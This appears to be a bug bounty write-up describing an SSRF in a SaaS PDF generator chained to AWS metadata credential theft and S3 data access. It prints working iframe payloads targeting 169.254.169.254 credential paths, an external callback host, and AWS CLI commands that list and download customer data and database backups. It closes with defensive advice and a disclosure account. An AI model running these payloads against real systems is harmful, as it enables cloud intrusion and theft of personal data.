SSRF in a PDF Generator Led Me to AWS Metadata and Full Cloud Compromise
What started as a basic HTML-to-PDF feature in a SaaS application ended with me holding the keys to their entire AWS infrastructure, including production databases and S3 buckets containing 2M+ customer records.
Recon
I was testing a marketing automation platform that offered a feature to "export reports as PDF." The kind of feature you see everywhere and usually ignore. But I had some time to kill, so I started poking at it.
The workflow was simple: create a report with some charts and data, then click "Download PDF." The request looked like this:
httpPOST /api/reports/generate-pdf HTTP/1.1 Host: app.target.com Content-Type: application/json { "reportId": "abc123", "template": "standard", "format": "A4" }
I intercepted the request in Burp and noticed the response headers included X-Powered-By: wkhtmltopdf 0.12.5. Interesting—they were using wkhtmltopdf, which renders HTML to PDF using WebKit. I'd seen SSRF vulnerabilities in similar setups before.
I started by testing if I could control the HTML content being rendered. I created a custom report and embedded some basic HTML in the report title field:
html<img src="http://my-burp-collaborator.com/test.png">
I generated the PDF and checked my Burp Collaborator. Boom—incoming HTTP request. The PDF generator was fetching external resources. Classic SSRF.
Discovery
Now I needed to figure out where this application was hosted. The response headers didn't give much away, but I tried the obvious:
html<img src="http://169.254.169.254/latest/meta-data/">
This is the AWS metadata endpoint, accessible only from within EC2 instances. I generated the PDF, downloaded it, and opened it. The image area showed a broken image icon, but that was expected—the metadata endpoint returns text, not an image.
I needed to exfiltrate the content of these requests, not just prove I could make them. I tried various techniques: <iframe> tags, <script> tags, <link> tags. Most were filtered. But then I remembered that wkhtmltopdf supports HTML forms.
I crafted a payload that would render the metadata response as text within the PDF:
html<style> body { font-family: monospace; font-size: 8px; } </style> <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>
I embedded this in a report description field (which allowed more HTML) and generated the PDF. When I opened it, I saw beautiful, glorious text:
report-generator-role
That was the name of the IAM role attached to the EC2 instance. My heart rate spiked.
Exploitation
The next step was obvious—retrieve the temporary credentials for that role:
html<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/report-generator-role" width="800" height="1000"></iframe>
The resulting PDF contained:
json{ "Code": "Success", "LastUpdated": "2024-01-15T10:23:17Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "abc123...", "Token": "IQoJb3JpZ2luX2VjE...", "Expiration": "2024-01-15T16:45:32Z" }
I now had temporary AWS credentials. I configured my local AWS CLI:
bashexport AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="abc123..." export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjE..." aws sts get-caller-identity
Response:
json{ "UserId": "AIDAI...:i-0abc123", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/report-generator-role/i-0abc123" }
Authenticated. Now I needed to see what this role could do:
bashaws iam get-role --role-name report-generator-role 2>&1 aws s3 ls aws ec2 describe-instances
The AHA moment came when the S3 command returned a list of buckets:
code2024-01-10 customer-data-prod 2024-01-12 customer-uploads-prod 2024-01-08 database-backups-prod 2024-01-15 application-logs
I tested access:
bashaws s3 ls s3://customer-data-prod/ --recursive | head
Thousands of files. JSON files. I downloaded a sample:
bashaws s3 cp s3://customer-data-prod/users/2024-01/batch_001.json .
The file contained PII: names, email addresses, phone numbers, company information. Over 2 million records across the bucket.
I also checked the database backups bucket:
bashaws s3 ls s3://database-backups-prod/
Full PostgreSQL dumps, updated nightly. Unencrypted.
Impact
This single SSRF vulnerability gave me:
- Data Exfiltration: Access to 2M+ customer records, including PII
- Database Access: Full database dumps with credentials, API keys, session tokens
- Lateral Movement: The role had permissions to describe EC2 instances, potentially enabling SSH key theft
- Persistence: I could monitor the metadata endpoint for credential rotation
The business impact was severe: GDPR violations, potential customer notification requirements, complete loss of data confidentiality.
Lessons
For Developers:
- Disable network access for PDF generation containers—use whitelisting, not blacklisting
- Run PDF generators in isolated networks without access to metadata endpoints
- Use IMDSv2 for AWS metadata, which requires a PUT request (harder to exploit via SSRF)
- Implement least-privilege IAM roles—this role shouldn't have had S3 read access
- Never store unencrypted backups, even in "private" buckets
For Pentesters:
- Always test HTML/PDF export features for SSRF—they're often forgotten in security reviews
- Remember that SSRF isn't just about port scanning; it's about accessing internal services
- On AWS, always try
169.254.169.254and chain to IAM credential theft - Use creative exfiltration techniques—iframes, CSS, form submissions—when direct output is limited
- Test for privilege escalation after initial access—those IAM creds might unlock the kingdom
I reported this immediately through their responsible disclosure program. They took the PDF service offline within 30 minutes, implemented network isolation, rotated all credentials, and switched to IMDSv2. The bounty? $25,000 and a Hall of Fame entry. Sometimes the "boring" features are the most dangerous.